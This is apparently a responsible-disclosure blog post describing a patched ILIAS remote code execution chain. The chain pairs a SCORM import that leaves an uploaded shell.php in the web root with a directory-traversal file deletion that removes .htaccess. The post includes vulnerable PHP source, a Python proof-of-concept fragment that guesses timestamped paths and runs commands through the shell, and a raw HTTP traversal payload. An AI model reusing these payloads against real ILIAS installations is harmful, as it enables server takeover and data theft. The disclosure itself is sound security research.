In my security lab, I write blog posts about identified security vulnerabilities, which are published in accordance with the responsible disclosure procedure.
19.02.2024 - Rene Rehme
During a penetration test we discovered several security issues in ILIAS Versions 7.27, 8.8 und 9.0 Beta 2 identifiziert. This blof article concerns a Remote Code Execution (RCE) vulnerability and an Arbitrary File Deletion issue that can be exploited via Direcory Traversal. The RCE can be achieved by chaining the directory-traversal-based arbitrary file deletion with an additional arbitrary file deletion flaw. Remote code execution allows an attacker to run arbitrary code on the server.
⚑ 18. Jan. 2024 - Vulnerability identified.
→ 23. Jan. 2024 - Vulnerability reported to the ILIAS project.
← 29. Jan. 2024 - ILIAS acknowledged receipt of the report.
← 16. Feb. 2024 - ILIAS confirmed the vulnerability was fixed.
← 16. Feb. 2024 - Patched ILIAS releases: 8.9and 7.28
The SCORM-Learning modul which is used to provide course material, is vulnerable. An attacker who successfully exploits this vulnerability can execute code on the server. Exploitation requires a user account with write und read, für die Erstellung und das Einsehen eines SCORM-Lernmoduls.
The Remote Code Execution (RCE) is enabled by two factors:
During the processing of an upload performed as part of an import, the Import SCORM learning module option can trigger a bug in the program code. In one execution path this causes an exception to be thrown — an exception that is essential for successful exploitation (more on this later).
First, a shell.php file containing the PHP code to be executed is packaged into a .zip archive and uploaded via the import option described above.
The application logic then extracts the uploaded .zip file into the /data/lm_data directory [1] , which is located inside the web server’s documentRoot [2]. A temporary folder, $lmTempDir, is created for this purpose and named using the current timestamp.
Normally, ILIAS import functionality extracts uploaded files into a directory outside the documentRoot. In this case, however, the files are extracted inside the documentRoot, which enables the adversary to subsequently access and trigger the uploaded PHP file.
case "exportFile":
$sFile = $_FILES["scormfile"];
$fType = $sFile["type"];
$cFileTypes = ["application/zip", "application/x-compressed","application/x-zip-compressed"];
if (in_array($fType, $cFileTypes)) {
$timeStamp = time();
$tempFile = $sFile["tmp_name"];
$lmDir = ilUtil::getWebspaceDir("filesystem") . "/lm_data/";
$lmTempDir = $lmDir . $timeStamp;
if (!file_exists($lmTempDir)) {
mkdir($lmTempDir, 0755, true);
}
$zar = new ZipArchive();
$zar->open($tempFile);
$zar->extractTo($lmTempDir);
$zar->close();
require_once "./Modules/ScormAicc/classes/class.ilScormAiccImporter.php";
$importer = new ilScormAiccImporter();
$import_dirname = $lmTempDir . '/' . substr($_FILES["scormfile"]["name"], 0, strlen($a_filename) - 4);
if ($importer->importXmlRepresentation("sahs", null, $import_dirname, "") == true) {
$importFromXml = true;
}
[...]
}
break;Because this step does not occur, part of the attack vector opens up: the ilScormAiccImporter class [3] returns false from its importXmlRepresentation() method [4], which leaves $importFromXml set to false. The following log entry is produced:
[496da] [2024-02-18 23:36:52.162907] myilias_root.INFO: ilScormAiccImporter::importXmlRepresentation:473 error file lost while importingThe else branch of the subsequent if statement is then executed for further processing. In that branch the uploaded archive is unpacked one final time. Crucially, the temporary directory $lmTempDir (see above) is not removed.
The renameExecutables() method [3] is intended to rename any unpacked .php file — in our example, shell.php → shell.php.sec — so that the file would no longer be executable if called directly, and the PHP code could not be interpreted. The problem is that renameExecutables() is not applied to the temporary directory; it only runs on the directory created by $newObj->createDataDirectory(); [1]. As a result, the original .php file can remain present and executable inside $lmTempDir, which enables the remainder of the attack chain.
[...]
// create data directory, copy file to directory
$newObj->createDataDirectory();
if ($_FILES["scormfile"]["name"]) {
if ($importFromXml) {
$scormFile = "content.zip";
$scormFilePath = $import_dirname . "/" . $scormFile;
$file_path = $newObj->getDataDirectory() . "/" . $scormFile;
ilFileUtils::rename($scormFilePath, $file_path);
ilUtil::unzip($file_path);
unlink($file_path);
ilUtil::delDir($lmTempDir, false);
} else {
// copy uploaded file to data directory
$file_path = $newObj->getDataDirectory() . "/" . $_FILES["scormfile"]["name"];
ilUtil::moveUploadedFile(
$_FILES["scormfile"]["tmp_name"],
$_FILES["scormfile"]["name"],
$file_path
);
ilUtil::unzip($file_path);
}
} else {
// copy uploaded file to data directory
$file_path = $newObj->getDataDirectory() . "/" . $_POST["uploaded_file"];
ilUploadFiles::_copyUploadFile($_POST["uploaded_file"], $file_path);
ilUtil::unzip($file_path);
}
ilUtil::renameExecutables($newObj->getDataDirectory());
[...]In later ILIAS versions — unlike version 7 — this action throws an exception [1], which interrupts program execution after the import archive is unpacked and therefore prevents renameExecutables() from running.
Whoops\Exception\ErrorException thrown with message "Undefined array key "SubType""
Stacktrace:
#8 Whoops\Exception\ErrorException in /var/www/ilias.local/Modules/ScormAicc/classes/class.ilObjSAHSLearningModuleGUI.php:434
#7 ilErrorHandling:handlePreWhoops in /var/www/ilias.local/Modules/ScormAicc/classes/class.ilObjSAHSLearningModuleGUI.php:434
#6 ilObjSAHSLearningModuleGUI:uploadObject in /var/www/ilias.local/Modules/ScormAicc/classes/class.ilObjSAHSLearningModuleGUI.php:172
#5 ilObjSAHSLearningModuleGUI:executeCommand in /var/www/ilias.local/Services/UICore/classes/class.ilCtrl.php:118
#4 ilCtrl:forwardCommand in /var/www/ilias.local/Services/Repository/classes/class.ilRepositoryGUI.php:243
#3 ilRepositoryGUI:show in /var/www/ilias.local/Services/Repository/classes/class.ilRepositoryGUI.php:223
#2 ilRepositoryGUI:executeCommand in /var/www/ilias.local/Services/UICore/classes/class.ilCtrl.php:118
#1 ilCtrl:forwardCommand in /var/www/ilias.local/Services/UICore/classes/class.ilCtrl.php:91
#0 ilCtrl:callBaseClass in /var/www/ilias.local/ilias.php:24Ultimately, regardless of the ILIAS version, an executable PHP file uploaded via an import can end up unchanged inside the documentRoot.


The directory created by the import remains named with the current timestamp and persists. The path to shell.php is therefore known or can be easily discovered. In our proof of concept, the correct path is determined, for example, by inspecting the timestamped directory created under /data/lm_data and locating the uploaded shell.php.
// Successful upload response
if response.status_code == 200:
current_timestamp = int(time.time() - 10)
timestamps = [current_timestamp + i for i in range(1000)]
data_path = base_uri + f"/data/{client_id}/lm_data/"
encoded_command = "shell.php?c=" + quote(command)
for timestamp in timestamps:
urlToScript = f"{data_path}{timestamp}/{encoded_command}"
print(f"Trying {timestamp} ...")
response = session.get(urlToScript)
if response.status_code == 200:
print(f"[+] {timestamp} exists!")
print(f"[+] Command \"{command}\" was executed:")
print(f"{response.text}")
return
else:
time.sleep(0.3)Anyone who has worked with ILIAS before would rightly expect that direct access to files in the data directory should be impossible because of the WebAccessChecker (WAC).
Normally, direct requests for files are blocked by an .htaccess rule that prevents direct web access and forces requests to be handled by the WebAccessChecker.
RewriteRule ^data/.*/.*/.*$ ./Services/WebAccessChecker/wac.php [L]If the .htaccess file is removed, that rule no longer takes effect. During our investigation we identified an arbitrary file deletion vulnerability that can be used to accomplish exactly this. In other words, the attack vector can be executed successfully when combined with this vulnerability (the conditions for exploitation are present).
Concretely, the .htaccess file is removed from the ILIAS instance’s documentRoot via a unlink() call triggered by a direcory-traversal-based arbitrary file deletion. Once .htaccess is gone, the WebAccessChecker’s protection can no longer be enforced and uploaded files in the data directory may be accessed directly.
In class.ilSCORM13PlayerGUI.php, the method postLogEntry can be invoked by any user who has read permissions.
User input is supplied in the POST body and read server-side like this:
$logdata = json_decode(file_get_contents('php://input'));
Further processing checks the action key. If the value of action is DELETE, the application executes code that deletes a file on the server.
//delete files
if ($logdata->action === "DELETE") {
$filename = $logdata->value;
$path = $this->logDirectory() . "/" . $filename;
unlink($path);
return;
}In the vulnerable implementation this deletion is performed using a path derived from the user-supplied input without sufficient sanitization, which allows directory-traversal sequences to target arbitrary files (for example .htaccess) and thus enables arbitrary file deletion.
POST /ilias.php?baseClass=ilSAHSPresentationGUI&cmd=postLogEntry&ref_id=86 HTTP/1.1
Host: ilias.local:8080
{
"action": "DELETE",
"value": "../../../../../.htaccess",
"scoid": 1,
"key": 0,
"result": "1",
"scotitle": "1",
"errorcode": 101,
"timespan": "1"
}In this example, the .htaccess file is removed from the ILIAS instance’s documentRoot via Direcory Traversal [1] . Once .htaccess has been deleted, the previously uploaded shell.php can be accessed directly via the web. This allows remote code execution (RCE).
CWE-20 Improper Input Validation
CWE-434 Unrestricted Upload of File with Dangerous Type
CWE-35 Path Traversal
CWE-73 External Control of File Name or Path
Attack Vector (AV): N
This is a remote network attack. The vulnerable component is exploitable from afar and can be triggered over protocol-level access (the Internet).
Attack Complexity (AC): L
No special conditions or mitigating circumstances are required.
Attack Requirements (AT): N
The payload is expected to execute successfully in most cases; no unusual settings or configuration are required.
Privileges Required (PR): H
The attacker needs an account with basic user privileges that allow creating and reading SCORM learning material (typically a tutor account).
User Interaction (UI): N
No interaction from another user (victim) is necessary for exploitation..
Confidentiality (VC): H
A successful attack results in a complete loss of confidentiality. Resources within the affected component can be exposed to the attacker — readable by the webserver user (e.g., www-data) — when the attacker has read access and the appropriate permissions.
Integrity (VI): H
A successful attack results in a complete loss of integrity. The attacker can modify files belonging to the affected application.
Availability (VA): H
A successful attack can fully deny access to the affected application’s resources (for example by deleting files or data), resulting in a total loss of availability.
Confidentiality (SC): H
A successful attack results in a complete loss of confidentiality at the system level. Resources and OS components accessible to the webserver user (e.g., www-data) can be exposed to the attacker. This may enable access to MySQL credentials, other system components, or additional applications that the webserver user can read.
Integrity (SI): H
A successful attack results in a complete loss of integrity at the system level. The attacker can modify files belonging to the operating system or other applications that the webserver user has permission to change.
Availability (SA): H
A successful attack results in a complete loss of availability at the system level. The attacker can fully deny access to resources of the operating system or other applications (for example by deleting files or data using the webserver user’s permissions).
ILIAS (Vendor) Advisories